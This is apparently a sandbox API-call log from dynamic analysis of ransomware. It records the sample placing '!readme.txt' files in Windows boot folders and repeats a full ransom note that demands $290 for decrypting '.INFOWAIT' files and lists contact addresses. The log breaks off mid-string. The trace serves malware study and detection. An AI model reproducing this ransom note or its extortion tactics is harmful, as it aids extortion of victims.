SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.582] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\es-ES\\!readme.txt") returned 1 [0113.582] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\!readme.txt") returned 0 [0113.583] lstrcpyW (in: lpString1=0x24858b8, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.583] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.585] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\!readme.txt") returned=".txt" [0113.585] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0113.585] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0113.585] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.585] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.585] PathFindFileNameW (pszPath="") returned="" [0113.585] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.586] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\!readme.txt") returned 1 [0113.586] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\!readme.txt") returned 0 [0113.586] lstrcpyW (in: lpString1=0x24868c0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.586] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.589] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\!readme.txt") returned=".txt" [0113.589] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0113.589] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0113.589] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.589] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.589] PathFindFileNameW (pszPath="") returned="" [0113.589] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.589] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\Fonts\\!readme.txt") returned 1 [0113.589] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\!readme.txt") returned 0 [0113.590] lstrcpyW (in: lpString1=0x24878c8, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.590] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.607] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\!readme.txt") returned=".txt" [0113.608] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0113.608] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0113.608] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0113.608] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0113.608] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0113.608] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0113.608] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.608] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.608] PathFindFileNameW (pszPath="") returned="" [0113.608] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.608] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\!readme.txt") returned 1 [0113.608] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\!readme.txt") returned 0 [0113.609] lstrcpyW (in: lpString1=0x24888d0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.610] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.611] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\!readme.txt") returned=".txt" [0113.611] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0113.611] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0113.611] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.611] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.611] PathFindFileNameW (pszPath="") returned="" [0113.611] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.612] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\!readme.txt") returned 1 [0113.612] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\!readme.txt") returned 0 [0113.612] lstrcpyW (in: lpString1=0x24898d8, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your 